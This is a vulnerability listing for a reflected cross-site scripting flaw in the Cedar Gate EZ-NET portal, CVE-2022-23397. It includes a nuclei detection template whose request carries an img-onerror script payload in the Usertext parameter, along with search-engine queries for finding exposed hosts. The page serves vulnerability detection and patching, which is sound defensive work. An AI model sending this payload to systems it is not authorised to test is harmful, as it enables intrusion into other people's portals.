HexBrain

Browse / CVEs / CVE-2022-23397

CVE-2022-23397· cedargate / ez-net portal· CWE-79

Cedar Gate EZ-NET <= 6.8.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1%likelihood of exploitation, next 30 days
64%of all CVEs are less likely
Readycheck to confirm it

The Cedar Gate EZ-NET portal 6.5.5 6.8.0 Internet portal has a call to display messages to users which does not properly sanitize data sent in through a URL parameter. This leads to a Reflected Cross-Site Scripting vulnerability.

Impact

Attackers can inject malicious JavaScript via reflected XSS in the Usertext parameter, potentially stealing administrator session cookies or performing administrative actions.

Fix

Upgrade Cedar Gate EZ-NET Portal to a version newer than 6.8.0 that addresses the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/EZ-NET60/AlertMessages.aspx?Usertext=<img%20src%3Dx%20onerror%3Dalert(document.domain)>
Positive when: contains_all(body, "><img src=x onerror=alert(document.domain)></span>", "/EZ-NET60/") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-23397 -u <target>

The full check
id: CVE-2022-23397

info:
  name: Cedar Gate EZ-NET <= 6.8.0 - Cross-Site Scripting
  author: srilakivarma
  severity: medium
  description: |
    The Cedar Gate EZ-NET portal 6.5.5 6.8.0 Internet portal has a call to display messages to users which does not properly sanitize data sent in through a URL parameter. This leads to a Reflected Cross-Site Scripting vulnerability.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the Usertext parameter, potentially stealing administrator session cookies or performing administrative actions.
  remediation: |
    Upgrade Cedar Gate EZ-NET Portal to a version newer than 6.8.0 that addresses the XSS vulnerability.
  reference:
    - https://ado.im/cedar-gate-ez-net
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23397
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-23397
    cwe-id: CWE-79
    epss-score: 0.01028
    epss-percentile: 0.63926
    cpe: cpe:2.3:a:cedargate:ez-net_portal:6.5.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cedargate
    product: ez-net_portal
    shodan-query: "EZNET_"
    fofa-query: "EZNET_"
  tags: cve,cve2022,cedar,eznet,xss,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/EZ-NET60/AlertMessages.aspx?Usertext=<img%20src%3Dx%20onerror%3Dalert(document.domain)>"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "><img src=x onerror=alert(document.domain)></span>", "/EZ-NET60/")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from